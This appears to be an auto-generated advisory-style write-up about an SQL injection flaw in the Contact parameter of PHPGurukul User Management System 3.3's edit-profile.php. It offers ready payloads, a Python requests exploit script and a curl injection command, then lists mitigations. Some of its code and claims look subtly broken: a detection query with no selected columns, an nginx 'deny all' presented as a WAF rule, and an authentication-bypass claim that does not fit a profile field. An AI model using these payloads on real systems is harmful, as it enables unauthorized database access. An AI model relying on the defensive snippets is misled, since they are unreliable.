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How CVE-2025-4934 Works
This vulnerability exploits improper input sanitization in the `Contact` parameter of `/edit-profile.php` in PHPGurukul User Management System 3.3. Attackers craft malicious SQL queries through this parameter, allowing unauthorized database access. The flaw occurs due to lack of prepared statements or input validation, enabling attackers to exfiltrate sensitive data, modify records, or execute arbitrary SQL commands. Remote exploitation is possible without authentication, making it critical.
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Platform: PHPGurukul
Version: 3.3
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch by 06/15/2025
What Undercode Say:
Exploitation
1. Payload Example:
' OR 1=1--
Injected into the `Contact` field to bypass authentication.
2. Exploit Code:
import requests
target = "http://target.com/edit-profile.php"
payload = {"Contact": "' UNION SELECT 1,2,3,4,5--"}
response = requests.post(target, data=payload)
print(response.text)
3. Manual Testing:
curl -X POST -d "Contact=' AND (SELECT 1 FROM users WHERE username='admin')--" http://target.com/edit-profile.php
Protection
1. Input Sanitization:
$contact = mysqli_real_escape_string($conn, $_POST['Contact']);
2. Prepared Statements:
$stmt = $conn->prepare("UPDATE users SET contact=? WHERE id=?");
$stmt->bind_param("si", $contact, $user_id);
3. WAF Rules:
location ~ edit-profile.php {
deny all;
}
4. Patch Verification:
grep -r "mysqli_real_escape_string" /var/www/html/
5. Log Analysis:
tail -f /var/log/apache2/access.log | grep 'edit-profile.php'
6. Mitigation:
- Disable `/edit-profile.php` if unused.
- Apply vendor patches immediately.
- Restrict database user privileges.
7. Detection:
SELECT FROM logs WHERE request LIKE '%edit-profile.php%Contact=%';
8. Backup:
mysqldump -u root -p php_gurukul_db > backup.sql
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
